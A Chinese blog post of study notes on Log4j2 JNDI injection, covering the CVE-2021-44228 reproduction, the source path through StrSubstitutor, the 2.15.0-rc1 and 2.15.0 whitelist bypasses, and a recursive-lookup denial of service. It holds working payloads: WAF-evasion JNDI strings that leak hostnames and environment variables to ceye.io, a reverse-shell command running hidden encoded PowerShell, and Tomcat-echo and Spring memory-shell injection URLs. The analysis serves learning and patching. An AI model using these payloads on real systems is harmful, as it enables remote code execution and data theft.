Log4j2系列漏洞分析

前言:Log4j2 jndi注入分析学习笔记

  • log4j2 CVE-2021-44228漏洞复现

  • log4j2 CVE-2021-44228造成的原因

  • log4j2 一些payload如何绕过防火墙的原理

  • log4j2修复后的2.15.0 rc1补丁绕过问题

  • log4j2的拒绝服务攻击

  • log4j2的2.15.0版本(rc1/rc2之后)的RCE

关于log4j2

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

log4j2的介绍,Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。

log4j2和log4j的区别

参考文章:https://blog.csdn.net/jidunkeji/article/details/122132141

  • Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,而Log4j只有一个jar包log4j-${版本号}.jar

  • Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。

  • Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。

log4j2 jndi注入复现

这里搭建的环境是通过spring boot来进行搭建的,然后pom配置如下

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.12.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.12.1</version>
    </dependency>

    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
      <exclusions>
        <!-- 排除掉logging,不使用logback,改用log4j2 -->
        <exclusion>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
      </exclusions>
    </dependency>

这里的一个HelloController.java

@Controller
public class HelloController {

    private static final Logger mLogger = LogManager.getLogger(HelloController.class);
    @RequestMapping(value = "/test", method = RequestMethod.GET)
    @ResponseBody
    public String log4j_test01(@RequestParam(value = "username")String username)
    {
        mLogger.error(username);
        return "this_is_test";
    }
}

触发点就是一个username的参数,这里搭建好对应的RMI或者LDAP的服务器来进行jndi注入测试,测试效果如下

访问:http://www.test.com:8080/test?username=${jndi:rmi://172.20.10.2:1099/nz4zwd}

反弹shell的操作:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "powershell.exe -nop -w hidden -e base64编码" -A "172.20.10.2"

关于log4j2的Lookups功能

在分析学习log4j2的jndi注入之前,这里先来了解下关于log4j2的Lookups功能

log4j2的文档地址为:https://logging.apache.org/log4j/2.x/manual/lookups.html

Lookups提供了一种在Log4j配置文件任意位置添加值的方法。它们是实现StrLookup接口的特定类型的插件。

就比如这里测试Java的Lookup,以java:为前缀即可被Java的Lookups对象来进行解析,如下代码所示

public class Log4jController {
    private static final Logger logger = LogManager.getLogger(Log4jController.class);

    public static void main(String[] args) {
        logger.error("${java:version}");
        logger.error("${java:vm}");
        logger.error("${java:runtime}");
        logger.error("${java:locale}");
        logger.error("${java:hw}");
        logger.error("${java:os}");
    }
}

可以看到运行之后罗列出了java相关的环境信息

同样的这里也提供了对JNDI的支持,比如${jndi:logging/context-name}

我们这里改成${jndi:rmi://}来进行测试,如下所示

public class Log4jController {
    private static final Logger logger = LogManager.getLogger(Log4jController.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://log4j.y3fcsa.dnslog.cn/}");
    }
}

可以看到,jndi的请求成功的发出来了,那么这里如果没有经过相关的过滤的话,那么自然就可以进行JNDI注入实现命令执行的操作了

CVE-2021-44228分析

这里来分析logger.error("${jndi:ldap://log4j.y3fcsa.dnslog.cn/}");的流程,首先还是打一个断点,然后进行分析跟踪

先来到logIfEnabled它会判断是否支持log记录

接着继续跟进来到log:457, LoggerConfig的log的方法,它会通过createEvent方法来将当前的记录的信息封装成一个LogEvent对象,用于之后的处理

接着在LoggerConfig中的log方法中执行processLogEvent方法

接着会调用LoggerConfig中的callAppenders方法

关于什么是Appenders:Appender负责将日志事件传递到其目标。每个Appender都必须实现Appender接口。大多数Appender将扩展AbstractAppender,它添加了生命周期和可过滤的支持。生命周期允许组件在配置完成后完成初始化,并在关闭期间执行清理。Filterable允许组件附加过滤器,在事件处理期间对其进行评估。

接着一直跟,中间都是Append的处理过程,这里说继续来到encode:59, PatternLayout (org.apache.logging.log4j.core.layout),下面是参考的堆栈调用

encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
..

org/apache/logging/log4j/core/layout/PatternLayout.java对象提供了序列化数据的操作,encode方法中,到这里的toText方法就会开始序列化数据

totext方法定义如下

    private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
            final StringBuilder destination) {
        return serializer.toSerializable(event, destination);
    }

这里会通过PatternFormatter对象来对生成的日志模板和数据来进行格式化,用到的PatternFormatter对象有如下

DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter - 这里是触发点
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

每个Formatter对象都会进行对进行format方法的操作,如下图所示

就比如DatePatternConverter,它会格式化一个日期存储到buf中,LiteralPatternConverter就是格式化一个[]符号

对数据的格式化是在MessagePatternConverter,所以触发点也是在MessagePatternConverter,这里直接跟到MessagePatternConverter的format函数中

它首先在在当前日志输出的报错数据进行格式化到buf中,此时的数据为如下所示

再接着就会来到下面这个位置,首先它会判断if (config != null && !noLookups) {,是否config不为空,并且noLookups是为false的

然后它会判断报错的数据zxczxczxczxc${xxxx}zxzxczxczc中是否是存在${,如果是的话它就会执行workingBuilder.append(config.getStrSubstitutor().replace(event, value));

首先会执行config.getStrSubstitutor(),获取一个StrSubstitutor的对象

StrSubstitutor({date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j})

再接着就是执行replace方法,其中会执行substitute方法

首先就是初始化完之后要对该数据进行匹配要用的对象

然后来对这一段带有${xxxx}的数据进行相关的操作

  • 通过prefixMatcher.isMatch来匹配${ -> found variable start marker

  • 通过suffixMatcher.isMatch来匹配} -> found variable end marker

  • 如果上面都符合的话,那么还会递归调用上一次的${xxxxx},把其中的去除${ 和 }的之间的内容作为substitute的参数进行调用

  • 检查是否存在:-,存在的话则进行分割(用于绕过waf使用)

  • 最终的内容通过:符号来切分获取一个对应的lookup对象,如果是jndi:xxxx的话,那么就是获取的是jndi的lookup对象

        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix,寻找后缀}符号
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }

                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length()); // 递归调用
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;

                                String varName = varNameExpr;
                                String varDefaultValue = null;

                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }

                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }

                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);

                                // resolve the variable
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }

                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

接着就是取出${xxxxx}其中的xxxx数据

接着下面还会对该xxxx数据来进行检测:-字符操作

                          if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
                                        // 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 前面的作为varName,后面的座位DefaultValue
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }

上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法

他会通过getVariableResolver来获得一个实现StrLookup接口的对象

接着调用return resolver.lookup(event, variableName);

支持的内置标签

在resolveVariable函数中,最终通过jndiLookup对象的lookup方法来进行触发

跟进去你会发现它会通过:字符来进行分隔两个字符串,一个是主键,一个是值,主键就是这里的jndi四个字符,值得话就是jndi访问的地址

因为这里是jndi,那么log4j2就会拿到对应的jndi实现strlook接口的对象

最终就是lookup来触发jndi注入

log4j解析${}存在递归操作实现绕过防火墙分析

假如传入的字符串为${11111${222222}333333},它会先执行${222222},然后将其解析出来的数据替换回去${11111XXXXX33333},然后再解析${11111XXXXX33333}

也就是如果你解析的字符为${11111${222222}333333},它还会递归解析中间的${xxxxxx}的相关操作

所以执行的话那么就是从里面到外面来进行执行的

而这里通过log4j2的代码特性来实现对防火墙的绕过操作

log4j2相关的变形payload绕过WAF分析

我收集到的有如下所示

${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io

这里可以来看下${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}这段是如何进行解析的,这个其实就是涉及到上面有看到的递归解析和:-分隔的操作

nestedVarCount就是用来统计嵌套的次数

如果nestedVarCount不为0的情况下匹配到了}那么它会执行如下操作,跳过上面的递归操作,将nestedVarCount--然后继续判断字符

那么上面这种如果是${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}

它第一次走完拿到的字符串就是${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a

接着就是递归调用${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a

这时候的处理就是${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a

此时nestedVarCount就不会为1了,因为一次就是${},所以接下来都是${::-j} ${::-n} ${::-d} ... 这样来进行解析

这次的话传入的就是::-j

由于::-j没有了相关的标识符${},所以就直接进行了解析操作,因为:-作为分隔,所以主键就是:和值为j

主键:会被传入到resolveVariable进行解析,而log4j2在解析的时候如果匹配不到对应的主键那么就只会返回对应的值,所以这里就会返回j

接着就会对${::-j}字符串进行替换为j

初始化:${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}

第一次substitute函数:${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a

第二次substitute函数:${::-j} -> ::-j -> j

第三次substitute函数:${::-n} -> ::-n -> n

以此类推那么最终的字符串就是这段获得的字符串就是jndi:rmi://ceye.io/a,那么递归回到第一段的时候,最终jndi解析的就是rmi://ceye.io/a

tomcat注入回显测试:${jndi:ldap://172.20.10.2:1389/TomcatBypass/TomcatEcho}

内存马注入命令执行:${jndi:ldap://172.20.10.2:1389/Basic/SpringMemshell}

http://127.0.0.1:8089/poc2020?type=basic&pass=ipconfig

关于Spring Boot的log4j2的jndi注入

因为Spring Boot Starter中默认使用的日志框架是logging,所以这里如果要使用log4j2日志框架的话那么需要进行设置

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
      <exclusions>
        <!-- 排除掉logging,不使用logback,改用log4j2 -->
        <exclusion>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
      </exclusions>
    </dependency>

修复

参考:https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832

Apache Log4j2 版本 2.0-beta7 到 2.17.0(不包括安全修复版本 2.3.2 和 2.12.4)容易受到远程代码执行 (RCE) 攻击,其中有权修改日志配置文件的攻击者可以构建恶意配置将 JDBC Appender 与引用 JNDI URI 的数据源一起使用,该 JNDI URI 可以执行远程代码。此问题已通过将 JNDI 数据源名称限制为 Log4j2 版本 2.17.1、2.12.4 和 2.3.2 中的 java 协议来解决。

升级到 Log4j 2.3.2(适用于 Java 6)、2.12.4(适用于 Java 7)或 2.17.1(适用于 Java 8 及更高版本)

log4j-2.15.0-rc1的绕过问题

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

此时加载的Converter有如下,之前的MessagePatternConverter此时已经用其内部类SimpleMessagePatternConverter来进行解析了

DatePatternConverter
SimpleLiteralPatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
SimpleLiteralPatternConverter
ThreadNamePatternConverter
SimpleLiteralPatternConverter
ClassNamePatternConverter
SimpleLiteralPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

这里跟进去进行查看可以看到,返回的内容直接就是原来的内容,已经不会进行其他的处理了

但是这边你通过寻找哪个类实现了PatternConverter,你会发现LookupMessagePatternConverter这个同样也具有lookup的功能

如果想要生成的MessagePatternConverter对象需要为LookupMessagePatternConverter的话,这里的话就需要将"lookup"配置进行开启,默认情况下没有这个LookupMessagePatternConverter来进行解析的

    public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
        boolean lookups = loadLookups(options);
        String[] formats = withoutLookupOptions(options);
        TextRenderer textRenderer = loadMessageRenderer(formats);
        MessagePatternConverter result = formats == null || formats.length == 0
                ? SimpleMessagePatternConverter.INSTANCE
                : new FormattedMessagePatternConverter(formats);
        if (lookups && config != null) {
            result = new LookupMessagePatternConverter(result, config);
        }
        if (textRenderer != null) {
            result = new RenderingPatternConverter(result, textRenderer);
        }
        return result;
    }

只有这样返回的才是LookupMessagePatternConverter对象

而在LookupMessagePatternConverter中进行jndi注入的时候也不是直接就可以的

获得LookupMessagePatternConverter的代码实现jndi解析的时候,这里直接来看org/apache/logging/log4j/core/net/JndiManager.java

在rc1的版本中的JndiManager的lookup方法存在相关的白名单验证,但是这里URI uri = new URI(name);如果解析异常的话,那么就绕过了其中的验证,主要在异常处理中没有直接结束,而是继续向下执行,导致最终执行了return (T) this.context.lookup(name);

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        ...
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

整体的代码如下所示

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            // 允许的协议白名单
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                // 允许的host白名单
                if (!allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }
                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) {
                    Map<String, Attribute> attributeMap = new HashMap<>();
                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                    while (enumeration.hasMore()) {
                        Attribute attribute = enumeration.next();
                        attributeMap.put(attribute.getID(), attribute);
                    }
                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                    // 参考下图我们这种Payload不存在javaSerializedData头
                    // 所以不会进入类白名单判断
                    if (attributeMap.get(SERIALIZED_DATA) != null) {
                        if (classNameAttr != null) {
                            // 类名白名单
                            String className = classNameAttr.get().toString();
                            if (!allowedClasses.contains(className)) {
                                LOGGER.warn("Deserialization of {} is not allowed", className);
                                return null;
                            }
                        } else {
                            LOGGER.warn("No class name provided for {}", name);
                            return null;
                        }
                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) {
                        // 不允许REFERENCE这种加载对象的方式
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }
                }
            }
        }
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

所以在协议中间还需要加上空格,payload为${jndi:ldap:// log4j.o0ovic.dnslog.cn/}

    public static void main(String[] args) {
        final Configuration config = new DefaultConfigurationBuilder().build(true); // 配置开启lookup功能
        final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"});
        final Message msg = new ParameterizedMessage("${jndi:ldap:// log4j.o0ovic.dnslog.cn/}");
        final LogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("MyLogger")
                .setLevel(Level.DEBUG)
                .setMessage(msg).build();
        final StringBuilder sb = new StringBuilder();
        converter.format(event, sb);
        System.out.println(sb);
    }

针对 2.15.0 rc2对于 2.15.0 rc1的修复

可以看到在异常中直接return null结束了函数的执行

try{
  ...
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

log4j2的拒绝服务攻击CVE-2021-45046

参考文章:https://xz.aliyun.com/t/10670

原理:对于jndi的函数,它是堵塞的,并且一次时间大约为2s,而在Log4j2在处理${}相关的字符串是依次递归解析,也就是说会处理一个字符串中的所有${}并分别处理对应的值,每一次的处理都会造成2秒的等待,所以只需简单的拼接即可,但是对于这个漏洞利用前提是log4j2需要开启lookup

payload:${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}

测试代码:

    public static void main(String[] args) {
        final Configuration config = new DefaultConfigurationBuilder().build(true); // 配置开启lookup功能
        final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"});
        // final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1/}");
        // final Message msg = new ParameterizedMessage("${jndi:ldap:// log4j.o0ovic.dnslog.cn/}");
        final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}");
        final LogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("MyLogger")
                .setLevel(Level.DEBUG)
                .setMessage(msg).build();
        final StringBuilder sb = new StringBuilder();
        converter.format(event, sb);
        System.out.println(sb);
    }

log4j2的2.15.0版本的RCE

还是之前的那个问题,正常情况下在JndiManager类中的allowedHosts属性是白名单,所以正常来说是无法进行绕过的,而在导致log4j2的2.15.0版本的RCE的出现,原因则是对allowedHosts白名单的绕过,而绕过的原理是通过域名泛解析来进行实现绕过的

if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme()))

result = {ArrayList@2487}  size = 9
 0 = "localhost"
 1 = "127.0.0.1"
 2 = "ChiLing"
 3 = "192.168.56.1"
 4 = "0:0:0:0:0:0:0:1"
 5 = "192.168.157.1"
 6 = "172.20.10.2"
 7 = "fe80:0:0:0:4555:a13b:ca9b:4887%eth11"
 8 = "192.168.4.1"

第一种尝试是通过@重定向来进行绕过,测试payload:${jndi:ldap://127.0.0.1@log4j.o0ovic.dnslog.cn/}

但是可以看到,URI.java的geHost方法最终拿到直接是@后面的字符串,那么后面的字符串中就不存在白名单中字符串了,所以这里是不行的

第二种测试payload:${jndi:ldap://127.0.0.1#.0wtpsg.ceye.io,这里的#符号也是存在截断作用的,可以看到这里获取的也是127.0.0.1

我看到别人的文章是可以的,但是我这边的jdk其中有存在对于#符号的判断,如下所示,但是无法进行正常的URL解析,最终抛出MalformedURLException异常

这里自己就不继续分析了,主要学习的两个点就是 对于 URI.getHost() 方法的绕过,可以通过 # 来截断后面的非法字符串使得判断成功,而真正的恶意字符串还是存在,最终在ldap请求的时候配合泛解析域名的方法来直接jndi注入造成RCE

posted @ 2022-04-27 19:03  zpchcbd  阅读(2300)  评论(0编辑  收藏  举报